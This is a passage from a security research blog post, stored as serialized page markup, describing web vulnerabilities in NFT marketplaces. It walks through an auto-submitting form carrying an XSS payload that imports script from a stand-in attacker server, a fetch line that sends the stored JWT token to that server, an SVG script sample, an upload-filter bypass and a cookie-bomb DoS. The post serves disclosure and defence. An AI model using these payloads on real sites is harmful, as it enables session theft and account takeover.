31169,"children":31170},{"style":279},[31171],{"type":28,"value":30338},{"type":23,"tag":139,"props":31173,"children":31174},{"style":294},[31175],{"type":28,"value":30343},{"type":23,"tag":139,"props":31177,"children":31178},{"style":982},[31179],{"type":28,"value":1067},{"type":23,"tag":139,"props":31181,"children":31182},{"style":265},[31183],{"type":28,"value":30352},{"type":23,"tag":139,"props":31185,"children":31186},{"style":294},[31187],{"type":28,"value":30357},{"type":23,"tag":139,"props":31189,"children":31190},{"style":982},[31191],{"type":28,"value":1067},{"type":23,"tag":139,"props":31193,"children":31194},{"style":265},[31195],{"type":28,"value":30366},{"type":23,"tag":139,"props":31197,"children":31198},{"style":294},[31199],{"type":28,"value":15122},{"type":23,"tag":139,"props":31201,"children":31202},{"style":982},[31203],{"type":28,"value":1067},{"type":23,"tag":139,"props":31205,"children":31206},{"style":265},[31207],{"type":28,"value":30379},{"type":23,"tag":139,"props":31209,"children":31210},{"style":294},[31211],{"type":28,"value":30384},{"type":23,"tag":139,"props":31213,"children":31214},{"style":982},[31215],{"type":28,"value":1067},{"type":23,"tag":139,"props":31217,"children":31218},{"style":265},[31219],{"type":28,"value":30393},{"type":23,"tag":139,"props":31221,"children":31222},{"style":294},[31223],{"type":28,"value":30398},{"type":23,"tag":139,"props":31225,"children":31226},{"style":982},[31227],{"type":28,"value":1067},{"type":23,"tag":139,"props":31229,"children":31230},{"style":265},[31231],{"type":28,"value":30407},{"type":23,"tag":139,"props":31233,"children":31234},{"style":30263},[31235],{"type":28,"value":3995},{"type":23,"tag":139,"props":31237,"children":31238},{"class":141,"line":178},[31239,31243,31247,31251,31255,31259,31263,31267,31271,31275,31279,31283],{"type":23,"tag":139,"props":31240,"children":31241},{"style":30263},[31242],{"type":28,"value":30419},{"type":23,"tag":139,"props":31244,"children":31245},{"style":279},[31246],{"type":28,"value":6371},{"type":23,"tag":139,"props":31248,"children":31249},{"style":294},[31250],{"type":28,"value":30428},{"type":23,"tag":139,"props":31252,"children":31253},{"style":982},[31254],{"type":28,"value":1067},{"type":23,"tag":139,"props":31256,"children":31257},{"style":265},[31258],{"type":28,"value":30437},{"type":23,"tag":139,"props":31260,"children":31261},{"style":294},[31262],{"type":28,"value":30442},{"type":23,"tag":139,"props":31264,"children":31265},{"style":982},[31266],{"type":28,"value":1067},{"type":23,"tag":139,"props":31268,"children":31269},{"style":265},[31270],{"type":28,"value":30451},{"type":23,"tag":139,"props":31272,"children":31273},{"style":294},[31274],{"type":28,"value":30343},{"type":23,"tag":139,"props":31276,"children":31277},{"style":982},[31278],{"type":28,"value":1067},{"type":23,"tag":139,"props":31280,"children":31281},{"style":265},[31282],{"type":28,"value":30464},{"type":23,"tag":139,"props":31284,"children":31285},{"style":30263},[31286],{"type":28,"value":3995},{"type":23,"tag":139,"props":31288,"children":31289},{"class":141,"line":187},[31290,31294,31298,31302,31306,31310,31314,31318,31322,31326,31330,31334,31339,31343,31348,31352,31357,31361,31366,31371,31375,31379,31384,31389,31394,31399,31404,31409,31413,31418,31422,31426,31431,31435,31440,31445,31450,31454,31458,31462,31467,31471],{"type":23,"tag":139,"props":31291,"children":31292},{"style":30263},[31293],{"type":28,"value":30476},{"type":23,"tag":139,"props":31295,"children":31296},{"style":279},[31297],{"type":28,"value":6371},{"type":23,"tag":139,"props":31299,"children":31300},{"style":294},[31301],{"type":28,"value":30428},{"type":23,"tag":139,"props":31303,"children":31304},{"style":982},[31305],{"type":28,"value":1067},{"type":23,"tag":139,"props":31307,"children":31308},{"style":265},[31309],{"type":28,"value":30493},{"type":23,"tag":139,"props":31311,"children":31312},{"style":294},[31313],{"type":28,"value":30442},{"type":23,"tag":139,"props":31315,"children":31316},{"style":982},[31317],{"type":28,"value":1067},{"type":23,"tag":139,"props":31319,"children":31320},{"style":265},[31321],{"type":28,"value":30506},{"type":23,"tag":139,"props":31323,"children":31324},{"style":294},[31325],{"type":28,"value":30398},{"type":23,"tag":139,"props":31327,"children":31328},{"style":982},[31329],{"type":28,"value":1067},{"type":23,"tag":139,"props":31331,"children":31332},{"style":265},[31333],{"type":28,"value":18067},{"type":23,"tag":139,"props":31335,"children":31336},{"style":279},[31337],{"type":28,"value":31338},"{"",{"type":23,"tag":139,"props":31340,"children":31341},{"style":265},[31342],{"type":28,"value":30528},{"type":23,"tag":139,"props":31344,"children":31345},{"style":279},[31346],{"type":28,"value":31347},"":"<",{"type":23,"tag":139,"props":31349,"children":31350},{"style":265},[31351],{"type":28,"value":429},{"type":23,"tag":139,"props":31353,"children":31354},{"style":279},[31355],{"type":28,"value":31356},"/",{"type":23,"tag":139,"props":31358,"children":31359},{"style":265},[31360],{"type":28,"value":30557},{"type":23,"tag":139,"props":31362,"children":31363},{"style":279},[31364],{"type":28,"value":31365},"=",{"type":23,"tag":139,"props":31367,"children":31368},{"style":265},[31369],{"type":28,"value":31370},"x onerror",{"type":23,"tag":139,"props":31372,"children":31373},{"style":279},[31374],{"type":28,"value":31365},{"type":23,"tag":139,"props":31376,"children":31377},{"style":265},[31378],{"type":28,"value":17490},{"type":23,"tag":139,"props":31380,"children":31381},{"style":279},[31382],{"type":28,"value":31383},"(`",{"type":23,"tag":139,"props":31385,"children":31386},{"style":265},[31387],{"type":28,"value":31388},"https",{"type":23,"tag":139,"props":31390,"children":31391},{"style":279},[31392],{"type":28,"value":31393},"://",{"type":23,"tag":139,"props":31395,"children":31396},{"style":265},[31397],{"type":28,"value":31398},"attacker-server",{"type":23,"tag":139,"props":31400,"children":31401},{"style":279},[31402],{"type":28,"value":31403},".",{"type":23,"tag":139,"props":31405,"children":31406},{"style":265},[31407],{"type":28,"value":31408},"com",{"type":23,"tag":139,"props":31410,"children":31411},{"style":279},[31412],{"type":28,"value":31356},{"type":23,"tag":139,"props":31414,"children":31415},{"style":265},[31416],{"type":28,"value":31417},"leak",{"type":23,"tag":139,"props":31419,"children":31420},{"style":279},[31421],{"type":28,"value":31403},{"type":23,"tag":139,"props":31423,"children":31424},{"style":265},[31425],{"type":28,"value":29252},{"type":23,"tag":139,"props":31427,"children":31428},{"style":279},[31429],{"type":28,"value":31430},"`)>","",{"type":23,"tag":139,"props":31432,"children":31433},{"style":265},[31434],{"type":28,"value":30615},{"type":23,"tag":139,"props":31436,"children":31437},{"style":279},[31438],{"type":28,"value":31439},"":"",{"type":23,"tag":139,"props":31441,"children":31442},{"style":265},[31443],{"type":28,"value":31444},"profile-assets",{"type":23,"tag":139,"props":31446,"children":31447},{"style":279},[31448],{"type":28,"value":31449},"","",{"type":23,"tag":139,"props":31451,"children":31452},{"style":265},[31453],{"type":28,"value":30644},{"type":23,"tag":139,"props":31455,"children":31456},{"style":279},[31457],{"type":28,"value":31439},{"type":23,"tag":139,"props":31459,"children":31460},{"style":265},[31461],{"type":28,"value":30653},{"type":23,"tag":139,"props":31463,"children":31464},{"style":279},[31465],{"type":28,"value":31466},""}",{"type":23,"tag":139,"props":31468,"children":31469},{"style":265},[31470],{"type":28,"value":18067},{"type":23,"tag":139,"props":31472,"children":31473},{"style":30263},[31474],{"type":28,"value":30667},{"type":23,"tag":139,"props":31476,"children":31477},{"class":141,"line":196},[31478,31482,31486,31490,31494,31498,31502,31506,31510],{"type":23,"tag":139,"props":31479,"children":31480},{"style":30263},[31481],{"type":28,"value":30476},{"type":23,"tag":139,"props":31483,"children":31484},{"style":279},[31485],{"type":28,"value":6371},{"type":23,"tag":139,"props":31487,"children":31488},{"style":294},[31489],{"type":28,"value":30428},{"type":23,"tag":139,"props":31491,"children":31492},{"style":982},[31493],{"type":28,"value":1067},{"type":23,"tag":139,"props":31495,"children":31496},{"style":265},[31497],{"type":28,"value":30691},{"type":23,"tag":139,"props":31499,"children":31500},{"style":294},[31501],{"type":28,"value":30398},{"type":23,"tag":139,"props":31503,"children":31504},{"style":982},[31505],{"type":28,"value":1067},{"type":23,"tag":139,"props":31507,"children":31508},{"style":265},[31509],{"type":28,"value":30704},{"type":23,"tag":139,"props":31511,"children":31512},{"style":30263},[31513],{"type":28,"value":30667},{"type":23,"tag":139,"props":31515,"children":31516},{"class":141,"line":205},[31517,31521,31525],{"type":23,"tag":139,"props":31518,"children":31519},{"style":30263},[31520],{"type":28,"value":30716},{"type":23,"tag":139,"props":31522,"children":31523},{"style":279},[31524],{"type":28,"value":30338},{"type":23,"tag":139,"props":31526,"children":31527},{"style":30263},[31528],{"type":28,"value":3995},{"type":23,"tag":139,"props":31530,"children":31531},{"class":141,"line":214},[31532,31536,31540],{"type":23,"tag":139,"props":31533,"children":31534},{"style":30263},[31535],{"type":28,"value":30732},{"type":23,"tag":139,"props":31537,"children":31538},{"style":279},[31539],{"type":28,"value":30287},{"type":23,"tag":139,"props":31541,"children":31542},{"style":30263},[31543],{"type":28,"value":3995},{"type":23,"tag":139,"props":31545,"children":31546},{"class":141,"line":1320},[31547],{"type":23,"tag":139,"props":31548,"children":31549},{"emptyLinePlaceholder":15},[31550],{"type":28,"value":184},{"type":23,"tag":139,"props":31552,"children":31553},{"class":141,"line":1329},[31554,31558,31562],{"type":23,"tag":139,"props":31555,"children":31556},{"style":30263},[31557],{"type":28,"value":30282},{"type":23,"tag":139,"props":31559,"children":31560},{"style":279},[31561],{"type":28,"value":30303},{"type":23,"tag":139,"props":31563,"children":31564},{"style":30263},[31565],{"type":28,"value":3995},{"type":23,"tag":139,"props":31567,"children":31568},{"class":141,"line":1580},[31569],{"type":23,"tag":139,"props":31570,"children":31571},{"emptyLinePlaceholder":15},[31572],{"type":28,"value":184},{"type":23,"tag":139,"props":31574,"children":31575},{"class":141,"line":1597},[31576,31580],{"type":23,"tag":139,"props":31577,"children":31578},{"style":259},[31579],{"type":28,"value":30777},{"type":23,"tag":139,"props":31581,"children":31582},{"style":279},[31583],{"type":28,"value":8890},{"type":23,"tag":139,"props":31585,"children":31586},{"class":141,"line":1614},[31587,31591,31595,31599,31603,31607,31611,31615,31619,31623,31627,31631],{"type":23,"tag":139,"props":31588,"children":31589},{"style":294},[31590],{"type":28,"value":30789},{"type":23,"tag":139,"props":31592,"children":31593},{"style":294},[31594],{"type":28,"value":30794},{"type":23,"tag":139,"props":31596,"children":31597},{"style":982},[31598],{"type":28,"value":30799},{"type":23,"tag":139,"props":31600,"children":31601},{"style":319},[31602],{"type":28,"value":30804},{"type":23,"tag":139,"props":31604,"children":31605},{"style":982},[31606],{"type":28,"value":1042},{"type":23,"tag":139,"props":31608,"children":31609},{"style":319},[31610],{"type":28,"value":30804},{"type":23,"tag":139,"props":31612,"children":31613},{"style":245},[31614],{"type":28,"value":30817},{"type":23,"tag":139,"props":31616,"children":31617},{"style":982},[31618],{"type":28,"value":262},{"type":23,"tag":139,"props":31620,"children":31621},{"style":265},[31622],{"type":28,"value":30826},{"type":23,"tag":139,"props":31624,"children":31625},{"style":982},[31626],{"type":28,"value":30831},{"type":23,"tag":139,"props":31628,"children":31629},{"style":245},[31630],{"type":28,"value":30836},{"type":23,"tag":139,"props":31632,"children":31633},{"style":982},[31634],{"type":28,"value":5739},{"type":23,"tag":139,"props":31636,"children":31637},{"class":141,"line":1627},[31638],{"type":23,"tag":139,"props":31639,"children":31640},{"emptyLinePlaceholder":15},[31641],{"type":28,"value":184},{"type":23,"tag":139,"props":31643,"children":31644},{"class":141,"line":1636},[31645,31649,31653,31657,31661,31665,31669,31673,31677,31681,31685,31689,31693],{"type":23,"tag":139,"props":31646,"children":31647},{"style":294},[31648],{"type":28,"value":1037},{"type":23,"tag":139,"props":31650,"children":31651},{"style":294},[31652],{"type":28,"value":30859},{"type":23,"tag":139,"props":31654,"children":31655},{"style":982},[31656],{"type":28,"value":30799},{"type":23,"tag":139,"props":31658,"children":31659},{"style":279},[31660],{"type":28,"value":13134},{"type":23,"tag":139,"props":31662,"children":31663},{"style":245},[31664],{"type":28,"value":30872},{"type":23,"tag":139,"props":31666,"children":31667},{"style":982},[31668],{"type":28,"value":30877},{"type":23,"tag":139,"props":31670,"children":31671},{"style":294},[31672],{"type":28,"value":30836},{"type":23,"tag":139,"props":31674,"children":31675},{"style":982},[31676],{"type":28,"value":21069},{"type":23,"tag":139,"props":31678,"children":31679},{"style":265},[31680],{"type":28,"value":30890},{"type":23,"tag":139,"props":31682,"children":31683},{"style":982},[31684],{"type":28,"value":30895},{"type":23,"tag":139,"props":31686,"children":31687},{"style":294},[31688],{"type":28,"value":30900},{"type":23,"tag":139,"props":31690,"children":31691},{"style":265},[31692],{"type":28,"value":30905},{"type":23,"tag":139,"props":31694,"children":31695},{"style":982},[31696],{"type":28,"value":30910},{"type":23,"tag":139,"props":31698,"children":31699},{"class":141,"line":1659},[31700,31704,31708,31712,31716,31720],{"type":23,"tag":139,"props":31701,"children":31702},{"style":294},[31703],{"type":28,"value":30789},{"type":23,"tag":139,"props":31705,"children":31706},{"style":294},[31707],{"type":28,"value":30922},{"type":23,"tag":139,"props":31709,"children":31710},{"style":982},[31711],{"type":28,"value":30799},{"type":23,"tag":139,"props":31713,"children":31714},{"style":279},[31715],{"type":28,"value":13134},{"type":23,"tag":139,"props":31717,"children":31718},{"style":245},[31719],{"type":28,"value":30935},{"type":23,"tag":139,"props":31721,"children":31722},{"style":982},[31723],{"type":28,"value":1656},{"type":23,"tag":139,"props":31725,"children":31726},{"class":141,"line":1667},[31727,31731,31735,31739,31743,31747,31751,31755],{"type":23,"tag":139,"props":31728,"children":31729},{"style":294},[31730],{"type":28,"value":30947},{"type":23,"tag":139,"props":31732,"children":31733},{"style":982},[31734],{"type":28,"value":73},{"type":23,"tag":139,"props":31736,"children":31737},{"style":294},[31738],{"type":28,"value":30956},{"type":23,"tag":139,"props":31740,"children":31741},{"style":982},[31742],{"type":28,"value":73},{"type":23,"tag":139,"props":31744,"children":31745},{"style":245},[31746],{"type":28,"value":7646},{"type":23,"tag":139,"props":31748,"children":31749},{"style":982},[31750],{"type":28,"value":262},{"type":23,"tag":139,"props":31752,"children":31753},{"style":294},[31754],{"type":28,"value":30973},{"type":23,"tag":139,"props":31756,"children":31757},{"style":982},[31758],{"type":28,"value":1820},{"type":23,"tag":139,"props":31760,"children":31761},{"class":141,"line":1676},[31762],{"type":23,"tag":139,"props":31763,"children":31764},{"emptyLinePlaceholder":15},[31765],{"type":28,"value":184},{"type":23,"tag":139,"props":31767,"children":31768},{"class":141,"line":1745},[31769,31773,31777,31781,31785,31789,31793,31797],{"type":23,"tag":139,"props":31770,"children":31771},{"style":294},[31772],{"type":28,"value":30992},{"type":23,"tag":139,"props":31774,"children":31775},{"style":982},[31776],{"type":28,"value":73},{"type":23,"tag":139,"props":31778,"children":31779},{"style":294},[31780],{"type":28,"value":31001},{"type":23,"tag":139,"props":31782,"children":31783},{"style":982},[31784],{"type":28,"value":30799},{"type":23,"tag":139,"props":31786,"children":31787},{"style":294},[31788],{"type":28,"value":31010},{"type":23,"tag":139,"props":31790,"children":31791},{"style":982},[31792],{"type":28,"value":73},{"type":23,"tag":139,"props":31794,"children":31795},{"style":294},[31796],{"type":28,"value":31001},{"type":23,"tag":139,"props":31798,"children":31799},{"style":982},[31800],{"type":28,"value":995},{"type":23,"tag":139,"props":31802,"children":31803},{"class":141,"line":1753},[31804],{"type":23,"tag":139,"props":31805,"children":31806},{"emptyLinePlaceholder":15},[31807],{"type":28,"value":184},{"type":23,"tag":139,"props":31809,"children":31810},{"class":141,"line":1783},[31811,31816,31820,31825],{"type":23,"tag":139,"props":31812,"children":31813},{"style":294},[31814],{"type":28,"value":31815},"        form123",{"type":23,"tag":139,"props":31817,"children":31818},{"style":982},[31819],{"type":28,"value":73},{"type":23,"tag":139,"props":31821,"children":31822},{"style":245},[31823],{"type":28,"value":31824},"submit",{"type":23,"tag":139,"props":31826,"children":31827},{"style":982},[31828],{"type":28,"value":5739},{"type":23,"tag":139,"props":31830,"children":31831},{"class":141,"line":1791},[31832,31836],{"type":23,"tag":139,"props":31833,"children":31834},{"style":279},[31835],{"type":28,"value":31030},{"type":23,"tag":139,"props":31837,"children":31838},{"style":259},[31839],{"type":28,"value":31035},{"type":23,"tag":139,"props":31841,"children":31842},{"class":141,"line":1823},[31843],{"type":23,"tag":139,"props":31844,"children":31845},{"emptyLinePlaceholder":15},[31846],{"type":28,"value":184},{"type":23,"tag":139,"props":31848,"children":31849},{"class":141,"line":1831},[31850,31854,31858],{"type":23,"tag":139,"props":31851,"children":31852},{"style":30263},[31853],{"type":28,"value":30732},{"type":23,"tag":139,"props":31855,"children":31856},{"style":279},[31857],{"type":28,"value":30303},{"type":23,"tag":139,"props":31859,"children":31860},{"style":30263},[31861],{"type":28,"value":3995},{"type":23,"tag":139,"props":31863,"children":31864},{"class":141,"line":1891},[31865,31869,31873],{"type":23,"tag":139,"props":31866,"children":31867},{"style":30263},[31868],{"type":28,"value":30317},{"type":23,"tag":139,"props":31870,"children":31871},{"style":279},[31872],{"type":28,"value":30270},{"type":23,"tag":139,"props":31874,"children":31875},{"style":30263},[31876],{"type":28,"value":3995},{"type":23,"tag":24,"props":31878,"children":31879},{},[31880],{"type":28,"value":31881},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":128,"props":31883,"children":31887},{"className":31884,"code":31885,"language":31886,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[31888],{"type":23,"tag":135,"props":31889,"children":31890},{"__ignoreMap":7},[31891,31898,31919,31940,31957],{"type":23,"tag":139,"props":31892,"children":31893},{"class":141,"line":142},[31894],{"type":23,"tag":139,"props":31895,"children":31896},{"style":259},[31897],{"type":28,"value":8890},{"type":23,"tag":139,"props":31899,"children":31900},{"class":141,"line":151},[31901,31906,31910,31915],{"type":23,"tag":139,"props":31902,"children":31903},{"style":294},[31904],{"type":28,"value":31905},"  \"address\"",{"type":23,"tag":139,"props":31907,"children":31908},{"style":259},[31909],{"type":28,"value":13343},{"type":23,"tag":139,"props":31911,"children":31912},{"style":265},[31913],{"type":28,"value":31914},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":139,"props":31916,"children":31917},{"style":259},[31918],{"type":28,"value":1488},{"type":23,"tag":139,"props":31920,"children":31921},{"class":141,"line":160},[31922,31927,31931,31936],{"type":23,"tag":139,"props":31923,"children":31924},{"style":294},[31925],{"type":28,"value":31926},"  \"to\"",{"type":23,"tag":139,"props":31928,"children":31929},{"style":259},[31930],{"type":28,"value":13343},{"type":23,"tag":139,"props":31932,"children":31933},{"style":265},[31934],{"type":28,"value":31935},"\"profile-assets\"",{"type":23,"tag":139,"props":31937,"children":31938},{"style":259},[31939],{"type":28,"value":1488},{"type":23,"tag":139,"props":31941,"children":31942},{"class":141,"line":169},[31943,31948,31952],{"type":23,"tag":139,"props":31944,"children":31945},{"style":294},[31946],{"type":28,"value":31947},"  \"type\"",{"type":23,"tag":139,"props":31949,"children":31950},{"style":259},[31951],{"type":28,"value":13343},{"type":23,"tag":139,"props":31953,"children":31954},{"style":265},[31955],{"type":28,"value":31956},"\"icon\"\n",{"type":23,"tag":139,"props":31958,"children":31959},{"class":141,"line":178},[31960],{"type":23,"tag":139,"props":31961,"children":31962},{"style":259},[31963],{"type":28,"value":1897},{"type":23,"tag":24,"props":31965,"children":31966},{},[31967],{"type":28,"value":31968},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":128,"props":31970,"children":31972},{"className":29250,"code":31971,"language":29252,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[31973],{"type":23,"tag":135,"props":31974,"children":31975},{"__ignoreMap":7},[31976],{"type":23,"tag":139,"props":31977,"children":31978},{"class":141,"line":142},[31979,31984,31988,31993,31998,32003,32007,32012,32016,32021,32025,32030,32034],{"type":23,"tag":139,"props":31980,"children":31981},{"style":245},[31982],{"type":28,"value":31983},"fetch",{"type":23,"tag":139,"props":31985,"children":31986},{"style":259},[31987],{"type":28,"value":262},{"type":23,"tag":139,"props":31989,"children":31990},{"style":265},[31991],{"type":28,"value":31992},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":139,"props":31994,"children":31995},{"style":279},[31996],{"type":28,"value":31997},"${",{"type":23,"tag":139,"props":31999,"children":32000},{"style":294},[32001],{"type":28,"value":32002},"localStorage",{"type":23,"tag":139,"props":32004,"children":32005},{"style":982},[32006],{"type":28,"value":73},{"type":23,"tag":139,"props":32008,"children":32009},{"style":245},[32010],{"type":28,"value":32011},"getItem",{"type":23,"tag":139,"props":32013,"children":32014},{"style":982},[32015],{"type":28,"value":262},{"type":23,"tag":139,"props":32017,"children":32018},{"style":265},[32019],{"type":28,"value":32020},"'token'",{"type":23,"tag":139,"props":32022,"children":32023},{"style":982},[32024],{"type":28,"value":1104},{"type":23,"tag":139,"props":32026,"children":32027},{"style":279},[32028],{"type":28,"value":32029},"}",{"type":23,"tag":139,"props":32031,"children":32032},{"style":265},[32033],{"type":28,"value":8391},{"type":23,"tag":139,"props":32035,"children":32036},{"style":259},[32037],{"type":28,"value":1820},{"type":23,"tag":666,"props":32039,"children":32041},{"id":32040},"svgs",[32042],{"type":28,"value":32043},"SVGs",{"type":23,"tag":24,"props":32045,"children":32046},{},[32047],{"type":28,"value":32048},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":24,"props":32050,"children":32051},{},[32052],{"type":28,"value":32053},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":128,"props":32055,"children":32057},{"className":29250,"code":32056,"language":29252,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[32058],{"type":23,"tag":135,"props":32059,"children":32060},{"__ignoreMap":7},[32061,32107,32144,32151,32181,32213,32241,32249,32265],{"type":23,"tag":139,"props":32062,"children":32063},{"class":141,"line":142},[32064,32069,32074,32079,32083,32088,32093,32097,32102],{"type":23,"tag":139,"props":32065,"children":32066},{"style":982},[32067],{"type":28,"value":32068},"\u003C?",{"type":23,"tag":139,"props":32070,"children":32071},{"style":294},[32072],{"type":28,"value":32073},"xml",{"type":23,"tag":139,"props":32075,"children":32076},{"style":294},[32077],{"type":28,"value":32078}," version",{"type":23,"tag":139,"props":32080,"children":32081},{"style":982},[32082],{"type":28,"value":1067},{"type":23,"tag":139,"props":32084,"children":32085},{"style":265},[32086],{"type":28,"value":32087},"\"1.0\"",{"type":23,"tag":139,"props":32089,"children":32090},{"style":294},[32091],{"type":28,"value":32092}," encoding",{"type":23,"tag":139,"props":32094,"children":32095},{"style":982},[32096],{"type":28,"value":1067},{"type":23,"tag":139,"props":32098,"children":32099},{"style":265},[32100],{"type":28,"value":32101},"\"UTF-8\"",{"type":23,"tag":139,"props":32103,"children":32104},{"style":982},[32105],{"type":28,"value":32106},"?>\n",{"type":23,"tag":139,"props":32108,"children":32109},{"class":141,"line":151},[32110,32115,32120,32125,32130,32135,32140],{"type":23,"tag":139,"props":32111,"children":32112},{"style":982},[32113],{"type":28,"value":32114},"\u003C!",{"type":23,"tag":139,"props":32116,"children":32117},{"style":294},[32118],{"type":28,"value":32119},"DOCTYPE",{"type":23,"tag":139,"props":32121,"children":32122},{"style":294},[32123],{"type":28,"value":32124}," svg",{"type":23,"tag":139,"props":32126,"children":32127},{"style":294},[32128],{"type":28,"value":32129}," PUBLIC",{"type":23,"tag":139,"props":32131,"children":32132},{"style":265},[32133],{"type":28,"value":32134}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":139,"props":32136,"children":32137},{"style":265},[32138],{"type":28,"value":32139}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":139,"props":32141,"children":32142},{"style":982},[32143],{"type":28,"value":3995},{"type":23,"tag":139,"props":32145,"children":32146},{"class":141,"line":160},[32147],{"type":23,"tag":139,"props":32148,"children":32149},{"emptyLinePlaceholder":15},[32150],{"type":28,"value":184},{"type":23,"tag":139,"props":32152,"children":32153},{"class":141,"line":169},[32154,32158,32163,32168,32172,32177],{"type":23,"tag":139,"props":32155,"children":32156},{"style":30263},[32157],{"type":28,"value":6724},{"type":23,"tag":139,"props":32159,"children":32160},{"style":279},[32161],{"type":28,"value":32162},"svg",{"type":23,"tag":139,"props":32164,"children":32165},{"style":294},[32166],{"type":28,"value":32167}," xmlns",{"type":23,"tag":139,"props":32169,"children":32170},{"style":982},[32171],{"type":28,"value":1067},{"type":23,"tag":139,"props":32173,"children":32174},{"style":265},[32175],{"type":28,"value":32176},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":139,"props":32178,"children":32179},{"style":30263},[32180],{"type":28,"value":3995},{"type":23,"tag":139,"props":32182,"children":32183},{"class":141,"line":178},[32184,32188,32193,32197,32201,32205,32209],{"type":23,"tag":139,"props":32185,"children":32186},{"style":30263},[32187],{"type":28,"value":30282},{"type":23,"tag":139,"props":32189,"children":32190},{"style":279},[32191],{"type":28,"value":32192},"title",{"type":23,"tag":139,"props":32194,"children":32195},{"style":30263},[32196],{"type":28,"value":8471},{"type":23,"tag":139,"props":32198,"children":32199},{"style":259},[32200],{"type":28,"value":29124},{"type":23,"tag":139,"props":32202,"children":32203},{"style":30263},[32204],{"type":28,"value":30317},{"type":23,"tag":139,"props":32206,"children":32207},{"style":279},[32208],{"type":28,"value":32192},{"type":23,"tag":139,"props":32210,"children":32211},{"style":30263},[32212],{"type":28,"value":3995},{"type":23,"tag":139,"props":32214,"children":32215},{"class":141,"line":187},[32216,32220,32224,32228,32232,32237],{"type":23,"tag":139,"props":32217,"children":32218},{"style":30263},[32219],{"type":28,"value":30282},{"type":23,"tag":139,"props":32221,"children":32222},{"style":279},[32223],{"type":28,"value":30303},{"type":23,"tag":139,"props":32225,"children":32226},{"style":294},[32227],{"type":28,"value":30428},{"type":23,"tag":139,"props":32229,"children":32230},{"style":982},[32231],{"type":28,"value":1067},{"type":23,"tag":139,"props":32233,"children":32234},{"style":265},[32235],{"type":28,"value":32236},"\"text/javascript\"",{"type":23,"tag":139,"props":32238,"children":32239},{"style":30263},[32240],{"type":28,"value":3995},{"type":23,"tag":139,"props":32242,"children":32243},{"class":141,"line":196},[32244],{"type":23,"tag":139,"props":32245,"children":32246},{"style":259},[32247],{"type":28,"value":32248},"   alert(document.domain);\n",{"type":23,"tag":139,"props":32250,"children":32251},{"class":141,"line":205},[32252,32257,32261],{"type":23,"tag":139,"props":32253,"children":32254},{"style":30263},[32255],{"type":28,"value":32256},"   \u003C/",{"type":23,"tag":139,"props":32258,"children":32259},{"style":279},[32260],{"type":28,"value":30303},{"type":23,"tag":139,"props":32262,"children":32263},{"style":30263},[32264],{"type":28,"value":3995},{"type":23,"tag":139,"props":32266,"children":32267},{"class":141,"line":214},[32268,32273,32277],{"type":23,"tag":139,"props":32269,"children":32270},{"style":30263},[32271],{"type":28,"value":32272}," \u003C/",{"type":23,"tag":139,"props":32274,"children":32275},{"style":279},[32276],{"type":28,"value":32162},{"type":23,"tag":139,"props":32278,"children":32279},{"style":30263},[32280],{"type":28,"value":3995},{"type":23,"tag":24,"props":32282,"children":32283},{},[32284,32286,32293],{"type":28,"value":32285},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":64,"props":32287,"children":32290},{"href":32288,"rel":32289},"https://xtingles.com/",[68],[32291],{"type":28,"value":32292},"xtingles Marketplace",{"type":28,"value":73},{"type":23,"tag":24,"props":32295,"children":32296},{},[32297],{"type":28,"value":32298},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":24,"props":32300,"children":32301},{},[32302],{"type":28,"value":32303},"Below, we show you how we did it.",{"type":23,"tag":24,"props":32305,"children":32306},{},[32307],{"type":28,"value":32308},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":24,"props":32310,"children":32311},{},[32312],{"type":23,"tag":429,"props":32313,"children":32315},{"alt":7,"src":32314},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":24,"props":32317,"children":32318},{},[32319],{"type":28,"value":32320},"After changing the extension inside the file name.",{"type":23,"tag":24,"props":32322,"children":32323},{},[32324],{"type":23,"tag":429,"props":32325,"children":32327},{"alt":7,"src":32326},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":666,"props":32329,"children":32331},{"id":32330},"svgs-return",[32332],{"type":28,"value":32333},"SVGs Return",{"type":23,"tag":24,"props":32335,"children":32336},{},[32337],{"type":28,"value":32338},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":24,"props":32340,"children":32341},{},[32342],{"type":28,"value":32343},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":24,"props":32345,"children":32346},{},[32347],{"type":28,"value":32348},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":128,"props":32350,"children":32354},{"className":32351,"code":32352,"language":32353,"meta":7,"style":7},"language-jsx shiki 